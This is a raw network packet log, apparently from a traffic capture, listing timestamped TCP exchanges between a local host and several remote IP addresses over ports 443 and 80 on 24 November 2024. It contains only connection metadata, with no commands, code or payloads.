Nov 24, 2024 23:24:42.718200922 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:42.718275070 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.719144106 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.719156027 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:42.842597008 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.842607021 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.842788935 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.843621016 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.843658924 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.843774080 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.856472969 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.859565973 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.859577894 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.859802008 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.859811068 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.864833117 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.864882946 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.865359068 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.865375996 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.043417931 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.043487072 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.043548107 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.044795990 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.044826031 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.044857979 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.044872999 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.050007105 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.050020933 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.050091028 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.050751925 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.050769091 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.352066040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:43.352135897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:43.360903978 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.360981941 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.361049891 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.362272978 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.362308025 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.362334013 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.362349033 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.373375893 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.373425007 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.373626947 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.373780012 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.373792887 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.472393036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:43.472426891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:43.527704000 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.528392076 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.528405905 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.529073000 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:43.529078960 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.849659920 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.854301929 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.854314089 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.854854107 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.855292082 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.855391979 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.855830908 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.903347969 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.919964075 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920033932 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920041084 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920078039 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920141935 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:43.920141935 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:43.920164108 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920309067 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920550108 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:43.920821905 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:43.920821905 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:43.920842886 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.920860052 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:43.921585083 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.922660112 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.922667027 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.923007965 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.924225092 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.924225092 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.924242020 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.924292088 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:43.967732906 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:43.998519897 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.998600960 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:43.998955011 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.001852036 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.001852036 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.001867056 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.001878977 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.005264044 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.005601883 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.005611897 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.006640911 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.007038116 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.007184029 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.007245064 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.007448912 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.007456064 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.009475946 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.009521961 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.009721994 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.009721994 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.009754896 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.060086966 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.061830997 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:44.061867952 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:44.062002897 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:44.062542915 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:44.062555075 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:44.262691021 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:44.262717009 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:44.263011932 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:44.263745070 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:44.263757944 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:44.267285109 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:44.267328978 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:44.267654896 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:44.268676043 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:44.268691063 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:44.482537031 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.482564926 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.482595921 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.482630014 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.482652903 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.482678890 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.482767105 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.513863087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:44.514086008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:44.518826962 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.518847942 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.518857002 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.518872023 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.518899918 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.518909931 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.518913984 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.518942118 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.518961906 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.519115925 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.554184914 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.554207087 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.554317951 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.554317951 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.554327965 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.554608107 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.560080051 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.560148001 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.595403910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:44.639199018 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.639233112 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.639379978 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.639379978 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.639391899 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.639589071 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.642802954 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.648266077 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.648296118 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.648308992 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.648763895 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.648859024 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.648864985 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.669754982 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669784069 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669791937 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669817924 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669832945 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669845104 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669869900 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.669882059 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.669909954 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.670151949 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.674290895 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.675260067 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.675288916 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.675405025 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.675405025 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.675415039 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.676789999 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.714951992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:44.722995043 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.723011971 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.724103928 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.724132061 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.724148989 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.724153996 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.724199057 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.724205017 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.724526882 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.730000019 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.730016947 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.730163097 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.730171919 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.730257034 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.738214016 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.738313913 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.738317966 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.738600016 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.744739056 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.744750977 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.787355900 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.787393093 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.787487030 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.787487030 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.787498951 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.787616014 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.794981956 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.795043945 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.823513985 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.823535919 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.823637009 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.823637962 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.823647022 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.823951960 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.838534117 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.838561058 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.838654041 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.838654041 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.838666916 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.840970039 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.841058016 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.841061115 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.862422943 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.862443924 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.862624884 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.862634897 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.862734079 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.922621012 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.922646999 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.922745943 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.922754049 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.922817945 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.949537992 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.975790977 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.975816965 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.975872040 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.975893021 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.975910902 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.975944996 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.980962038 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.980977058 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.981592894 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.981599092 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.983499050 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.987632990 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.987646103 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:44.988018036 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:44.988081932 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:44.993623018 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:44.993628979 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.002554893 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.002640963 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.011780024 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.011806965 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.011841059 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.011851072 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.011929989 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.011929989 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.017255068 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.017301083 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.017324924 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.017329931 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.017376900 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.029670000 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.029687881 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.029757023 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.029763937 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.032705069 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.034753084 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.034771919 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.034862041 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.034862041 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.034868956 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.040676117 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.040761948 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.049236059 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.049257994 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.049351931 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.049360991 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.052294970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:45.052386045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:45.052468061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:45.052651882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:45.052885056 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.052956104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:45.053703070 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.053710938 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.065751076 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.065769911 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.065818071 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.065828085 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.065860987 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.081072092 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.081159115 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.081235886 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.107007980 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.119956017 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.120027065 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.120104074 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.122416973 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.122426033 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.122456074 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.122486115 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.122490883 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.122524977 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.122596025 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.127886057 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.128021955 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.145045996 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.145064116 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.168772936 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.168844938 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.168853998 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.168904066 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.182591915 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.182609081 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.182684898 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.182693958 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.198503017 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.198524952 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.198585987 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.198596954 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.198622942 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.203074932 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.203138113 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.203146935 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.207587957 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.207607031 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.207731962 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.207742929 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.207840919 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.209933043 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.209997892 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.210014105 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.210028887 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.210072994 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.217784882 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.217803001 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.217870951 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.217878103 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.217968941 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.222145081 CET	443	49866	104.117.182.56	192.168.2.5
